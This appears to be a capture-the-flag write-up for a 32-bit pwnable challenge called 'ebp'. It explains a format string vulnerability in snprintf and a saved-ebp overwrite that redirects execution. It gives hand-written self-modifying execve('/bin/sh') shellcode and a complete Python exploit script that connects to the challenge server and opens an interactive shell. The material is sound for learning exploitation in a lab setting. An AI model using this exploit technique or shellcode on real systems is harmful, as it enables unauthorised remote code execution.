@pnck
2015-09-08T14:34:39.000000Z
字数 2827
阅读 2659
writeup
Category: Pwnable
Points: 160
Solves: 157
Description:
nc 52.6.64.173 4545
Download: %p%o%o%p.
check if it is x86 or x64:
$ file ebp_a96f7231ab81e1b0d7fe24d660def25a.elf ebp_a96f7231ab81e1b0d7fe24d660def25a.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped
checksec:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
32-bit binary with nx disabled, means that we can execute shellcode.
Analyze it with IDA, the assembly shows its very simple structure.There are only 3 functions totally:
main -> echo -> make_response
main() reads your input into a buffer sizing 1024 bytes, and call echo() to output it, in which the function calls make_response where lies a format string vulnerability:
.text:080484FD 000 push ebp.text:080484FE 004 mov ebp, esp.text:08048500 004 sub esp, 18h.text:08048503 01C mov dword ptr [esp+8], offset buf ; format.text:0804850B 01C mov dword ptr [esp+4], 1024 ; maxlen.text:08048513 01C mov dword ptr [esp], offset response ; s.text:0804851A 01C call _snprintf.text:0804851F 01C leave.text:08048520 000 retn
snprintf uses the input buffer directly as the format parameter, so here we can use %n to write any data. Since we can write shellcode, of course the best way is to control the flow jumping to our own shellcode.
And we notice that make_response() saved the ebp of echo() frame, so an amazing way is to modify the ebp of echo(), which is referenced in make_response() frame, to pointing to the echo()'s returning address, then use this new ebp value as the pointer (for %n) to hijack the flow returning to our shellcode.
When passing shellcode by a c-style string, dead chars such as '\0' '\n' can't exisit. So I wrote this shellcode which modify itself to get rid of dead chars.
;shellcode.asm;__NR_execve 11;2F 62 69 6E 2F 73 68 FF -> /bin/sh 0xffpush 0xff68732fpush 0x6e69622f ;param stringlea ebx, [esp] ;ebx -> callingxor eax, eaxmov byte[ebx+7], al ;fill a \0push eaxpush ebx ;stack: [sz][0][sz]mov ecx, esp ;ecx->the samelea edx, [ecx+4] ;edx->0add eax, 11int 0x80xor eax, eaxinc eaxxor ebx, ebxint 0x80
$ nasm -f elf32 -o shellcode.o shellcode.asm && objdump -d shellcode.o | grep '^ ' | cut -f268 2f 73 68 ff68 2f 62 69 6e8d 1c 2431 c088 43 07505389 e18d 51 0483 c0 0bcd 8031 c04031 dbcd 80
Copy this to a text editor and replace all spaces with "\x", then we can get our final exp:
#!/usr/bin/env python2.7#encoding:utf-8from zio import *shellcode = '\x68\x2F\x73\x68\xFF\x68\x2F\x62\x69\x6E\x8D\x1C\x24\x31\xC0\x88\x43\x07\x50\x53\x89\xE1\x8D\x51\x04\x83\xC0\x0B\xCD\x80\x31\xC0\x40\x31\xDB\xCD\x80'clen = len(shellcode)target = ('52.6.64.173',4545)#target = ('./ebp_a96f7231ab81e1b0d7fe24d660def25a.elf')io = zio(target,timeout=500,print_read=COLORED(REPR,'cyan'),print_write=COLORED(REPR,'red'))io.writeline('%4$p') #return addrpWrite = int(io.read(10),16)pWrite += 4pWrite &= 0x0000ffff #only low bitspl = '%%%dc%%4$hn' % (pWrite,) #write ebp to pointing ret and fill shellcodeio.writeline(pl)pl = shellcode + '%%%dc%%12$hn' % (41088-clen,)raw_input("debuging...")io.writeline(pl)io.interact()